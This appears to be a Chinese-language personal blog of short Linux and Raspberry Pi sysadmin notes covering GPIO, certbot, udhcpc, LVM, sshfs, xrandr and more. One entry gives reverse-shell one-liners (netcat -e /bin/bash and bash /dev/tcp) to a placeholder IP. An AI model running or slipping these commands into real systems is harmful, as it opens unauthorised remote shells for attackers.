sudo ./screen_setup.sh

How to turn on/off backlight
sudo rpi-update
sudo apt-get install gcc python-pygame python-dev
sudo wget https://pypi.python.org/packages/source/R/RPi.GPIO/RPi.GPIO-0.5.11.tar.gz
sudo tar zxvf RPi.GPIO-0.5.11.tar.gz
cd RPi.GPIO-0.5.11
sudo python setup.py install

gpio -g mode 27 in
gpio -g mode 27 out

按鈕驅動
sudo apt-get update
sudo apt-get install libudev-dev
sudo apt-get install python-pip
sudo pip install rpi.gpio
sudo pip install python-uinput
sudo modprobe uinput
wget https://raspberrypiwiki.com/File:Python-keys.zip

參考文件
https://raspberrypiwiki.com/2.2_LCD
gpio readall
gpio -v

extlinux 安裝摘要

apt install -y extlinux

mkfs.ext4 /dev/sdx
mount /dev/sdx /mnt
mkdir -p /mnt/boot

dd if=/usr/lib/EXTLINUX/mbr.bin
extlinux -i /mnt/boot

cat <<EOF >/mnt/boot/extlinux.conf
default test
prompt 1
timeout 300

LABEL test
    MENU Test entry
    LINUX vmlinuz
    APPEND initrd=initrd.img
EOF

Debian 10 nginx + Let's Encrypt

安裝相關軟體
apt-get install python-certbot-nginx

設定憑證
certbot --authenticator webroot --installer nginx

更新憑證
certbot renew --dry-run

更新email
certbot update_account --email new_email@example.com

相關檔案
/etc/letsencrypt/

Raspberry pi Danetd錯誤 訊息 danted.service: Failed at step NAMESPACE spawning

編輯 /lib/systemd/system/danted.service
修改 ReadOnlyDirectories=/bin /etc /lib /lib64 /sbin /usr /var
為 ReadOnlyDirectories=/bin /etc /lib -/lib64 /sbin /usr /var

重新執行
systemctl daemon-reload
/etc/init.d/danted start

Proxmox VE 6.x WARNING: Device /dev/dm-x not initialized in udev database even after waiting 10000000 microseconds.

WARNING: Device /dev/dm-x not initialized in udev database even after waiting 10000000 microseconds.

執行以下指令
udevadm trigger

2021年2月5日 星期五

shell 反向連接

控制端
nc -lvp [port]

受控端
a. nc [ip] [port] -e /bin/bash
b. bash -i >/dev/tcp/[ip]/[port] 0>&1 2>&2

2021年2月4日 星期四

Busybox udhcpc 使用方法

#使用方法
udhcpc -i eth1 -p /var/run/udhcpc.pid -S -s /bin/udhcpc.sh 

更新租約(renew DHCP lease)
kill -SIGUSR1 `cat /var/run/udhcpc.pid`

釋放租約(release current release)
kill -SIGUSR2 `cat /var/run/udhcpc.pid`

#udhcpc.sh 內容
#!/bin/sh
[ -z "$interface" ]&&exit 0;
[ -z "${ip}" ]&&exit 0;
ip addr add ${ip}/${subnet} dev ${interface};
ip route add default via ${router};x='';
mkdir /etc;
for i in $dns;do x="${x}\nnameserver ${i}";done;
echo -e "${x}" >/etc/resolv.conf;set >> /etc/leases;
exit 0;

2021年2月3日 星期三

Lenovo x200 Debian 10 驅動 wifi

1.將 non-free 加入 apt sources 中 (/etc/apt/sources.list)

2.apt update && apt install firmware-iwlwifi

3.modprobe -r iwlwifi ; modprobe iwlwifi

相關指令:
lspci|grep Wire
dmesg|grep wifi


2021年1月26日 星期二

bash netcat send mail 筆記

#!/bin/bash

server="192.168.1.1 25"

s=中文標題
helo=localhost.local
mailfrom=u@b.local
mailto=u@a.local

s=$(echo -n ${s}|base64);

cat <<EOF |nc ${server}
HELO $helo
MAIL FROM:${mailfrom}
RCPT TO:${mailto}
DATA
Date: Thu, 28 Jan 2021 12:02:41 +0800
From: ${mailfrom}
To: ${mailto}
Subject:=?UTF-8?B?${s}?=

Content-Type: text/plain; charset=utf-8

中文輸入沒有問題

中文輸入沒有問題
.

QUIT
EOF


其它
SMTP  date 格式
Date: Thu, 28 Jan 2021 12:02:41 +0800  #$(date '+%a, %d %b %Y %H:%M:%S %z')
# date -R

bash read 由變數讀入

 read a b < <(echo 12 345);echo $a $b


XFce timedatectl 筆記

timedatectl set-timezone Zone/SubZone
timedatectl list-timezones

RTC at local
timedatectl set-local-rtc 1

RTC at UTC
timedatectl set-local-rtc 0

Linux 手動清除 Linux 記憶體快取

手動清除 Linux 記憶體快取
/proc/sys/vm/drop_caches 可以強制 kernel 清理快取

/proc/sys/vm/drop_caches 預設的值是 0
kernel 只有在 proc file system 的 handler 觸發時才會做對應的清理工作

執行以下動作 建議先執行 sync
echo 1 > /proc/sys/vm/drop_caches  #清除 pagecache
echo 2 > /proc/sys/vm/drop_caches  #清除 dentries 與 inodes
echo 3 > /proc/sys/vm/drop_caches  #清除 pagecache、dentries 與 inodes

Squashfs 筆記

Debian 10相關模組:xxhash zstd_decompress squashfs loop

相關程式 losetup

2021年1月20日 星期三

Linux xz 格式 initramfs

  find .|cpio -o -Hnewc | xz --check=crc32 -c -k --lzma2 > initramfs.cpio.xz

Filezilla sitemanager.xml 筆記

登入後切換目錄  ${Directory}, ${#Directory} 為 ${Directory} 字串長度

 <RemoteDir>1 0 ${#Directory} ${Directory}</RemoteDir>

LightDM 自動登入設定

編輯 /etc/lightdm/lightdm.conf 
在[Seat:*]區塊中  加入 自動登入的使用者名稱 user
[Seat:*]             
autologin-guest=false
autologin-user=user
autologin-user-timeout=0  

2021年1月19日 星期二

LVM Thin pool筆記

建立方式
1.create vg
vgcreate vgmd5 /dev/md5

2.create Thin pool
lvcreate -v -L 1G -T vgmd5/mythinpool

移除
lvremove vgmd5/mythinpool

2021年1月18日 星期一

windows 10 使用 sshfs

安裝軟體
https://github.com/billziss-gh/sshfs-win/releases
https://github.com/billziss-gh/winfsp/releases/tag/v1.8

指令
net use z: \\sshfs\root@192.168.1.1\..     (/)
net use z: \\sshfs\root@192.168.1.1\zz    (/root/zz)

2021年1月12日 星期二

winscp 連線設定檔摘要及執行方式

設定檔  winscp.ini 內容
[Sessions\test]
HostName=sftp
RemoteDirectory=/user/home
UserName=user
PasswordPlain=password
PortNumber=2021

執行方式
winscp /ini=winscp.ini test

winscp sftp://${u}:${pw}@127.0.0.1:port

2021年1月10日 星期日

bash name variable筆記

p1=1
p2=2
p3=3

pls="p1 p2 p3"
echo p1=$p1 p2=$p2

for i in $pls;do eval "$i=''";done;

echo p1=$p1 p2=$p2

2021年1月7日 星期四

debian 10 X Window 螢幕旋轉設定

顯示輸出裝置的資訊
xrandr 

方向正常
xrandr -o normal

左轉180度
xrandr -o left

右轉180度
xrandr -o right

翻轉180度
xrandr -o inverted

2021年1月4日 星期一

Linux proc hidepid 摘要

hidepid=0 – The default behavior where any user can read the files under /proc/PID/
hidepid=1 – It means users may not access any /proc/PID/ sub-directory except their own. Also files like cmdline, io, sched*, status, wchan are inaccessible to other users.
hidepid=2 – Everything from hidepid=1, plus all /proc/PID/ sub-directories will be hidden to other users.


sudo mount -o remount,rw,hidepid=2 /proc